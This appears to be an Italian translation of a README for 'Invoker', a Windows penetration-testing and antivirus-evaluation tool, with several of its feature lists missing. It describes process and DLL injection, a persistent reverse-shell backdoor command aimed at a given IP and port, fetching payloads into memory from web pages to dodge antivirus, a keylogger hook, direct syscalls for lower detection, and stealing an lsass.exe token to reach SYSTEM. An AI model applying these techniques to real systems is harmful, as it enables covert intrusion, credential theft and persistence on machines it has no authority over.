
Utilità per test di penetrazione e strumento di valutazione antivirus.
Utilità per penetration testing e strumento di valutazione antivirus.
Realizzato con Visual Studio Community 2022 v17.5.4 (64-bit) e testato su Windows 10 Enterprise OS (64-bit).
Realizzato a scopo educativo. Spero che sia d'aiuto!
Questo repository ha cominciato ad avere firme note e non ho tempo di caricare nuovi eseguibili ogni volta, quindi dovresti compilare questo progetto da solo.
Siti utili:
Da fare:
NtCreateProcessEx non funziona bene con processi a 32 bit.Piani futuri:
Cose che tengo a mente mentre codifico:
Tutto quanto sopra comporterà un PE con dimensioni più ridotte e un tasso di rilevamento minore.
Funzionalità:
Controlla la libreria Invoker qui. Sentiti libero di usarla!
Alcune funzionalità potrebbero richiedere privilegi amministrativi.
Alcune funzionalità potrebbero non funzionare su Windows XP e versioni precedenti a causa di alcuni diritti di accesso specifici e flag di controllo utilizzati.
Esegui Invoker_x86.exe (32-bit) o Invoker_x64.exe (64-bit).
Per automatizzare la backdoor di reverse shell aggiungendo persistenza, esegui il seguente comando:
Invoker_x64.exe 192.168.8.5:9000
Invoker a 32 bit può:
Invoker a 64 bit può:
Nota che ogni tecnica di iniezione ha sia pro che contro; ad esempio, alcune tecniche richiedono meno diritti di accesso, utilizzano metodi meno sospetti, ecc., ma potrebbero, ad esempio, crashare il processo, richiedere tempo e altre condizioni speciali per eseguire il payload, ecc.
Nota che alcuni impianti C2C potrebbero non funzionare dopo il rilascio della memoria. In tal caso, commenta metodi come VirtualFreeEx, NtFreeVirtualMemory, ecc.
Eleva i privilegi iniettando bytecode in un processo con privilegi più elevati.
Questo strumento può scaricare il contenuto di un file binario in memoria e iniettarlo in un processo in esecuzione. Può anche analizzare una risposta HTTP ed estrarre il payload da un elemento personalizzato, ad esempio da <invoker>payload</invoker> dove payload è un codice binario codificato in Base64.
Controlla l'esempio su pastebin.com/raw/xf9Trt0d.
Questo è utile se l'antivirus cancella costantemente i tuoi payload locali.
Controlla un esempio aggiuntivo su pastebin.com/raw/iW17rCxH - payload nascosto nell'elemento immagine.
P.S. I bytecode forniti molto probabilmente non funzioneranno per te.
Usa ngrok per dare al tuo server web locale un indirizzo pubblico.
Per vedere se un processo è a 32 o 64 bit, apri Task Manager -> clicca su More details -> vai alla scheda Details -> fai clic destro su una qualsiasi delle colonne -> clicca su Select columns -> seleziona la casella Platform.
Per vedere se un processo è in esecuzione con privilegi amministrativi, seleziona la casella Elevated.
Scopri come generare un payload di reverse shell dal mio altro progetto, oltre a come configurare i listener Ncat e multi/handler.
L'iniezione di bytecode potrebbe fallire perché il bytecode potrebbe avere caratteri non validi, una funzione di uscita sbagliata o una codifica errata; l'iniezione di DLL è più affidabile.
Se desideri eseguire una reverse shell o bind shell di PowerShell da Invoker, apri Invoker e avvia una sessione PowerShell, quindi esegui uno qualsiasi degli one-liners (dal mio altro progetto).
La libreria di chiamate di sistema dirette e l'assembly sono stati generati con SysWhispers2. Crediti all'autore!
Per generare la stessa libreria e assembly, esegui il seguente comando dalla tua console preferita:
python3 syswhispers.py -f NtOpenProcess,NtClose,NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtFreeVirtualMemory,NtCreateThreadEx,NtTerminateProcess -a all -o syscalls
Controlla il mio wrapper per la libreria e l'assembly qui. Sentiti libero di usarlo!
Controlla la semplice DLL con una procedura di hook qui. La procedura di hook invocherà una message box ad ogni chiusura di finestra.
Controlla la procedura di hook della tastiera (cioè keylogger) qui.
Controlla la procedura di hook del mouse che eseguirà un nuovo processo al primo clic del mouse qui.
Non dimenticare di rimuovere tutti gli artefatti creati dopo aver terminato i test, ad esempio rimuovi keylogger.log, ecc.
Segui questi semplici passaggi:
Esegui Invoker come amministratore.
Abilita tutti i privilegi del token di accesso.
Duplica il token di accesso da, ad esempio, Local Security Authority Subsystem Service (lsass.exe) ed esegui una nuova istanza di Invoker.
All'interno della nuova istanza di Invoker, apri il Prompt dei comandi ed esegui whoami, ora dovresti vedere nt authority\system.
Abilita ancora una volta tutti i privilegi del token di accesso.
Chiudi la vecchia istanza di Invoker.

Figura 1 - Invoker

Figura 2 - Iniezione di Bytecode

Figura 3 - Privilegi Elevati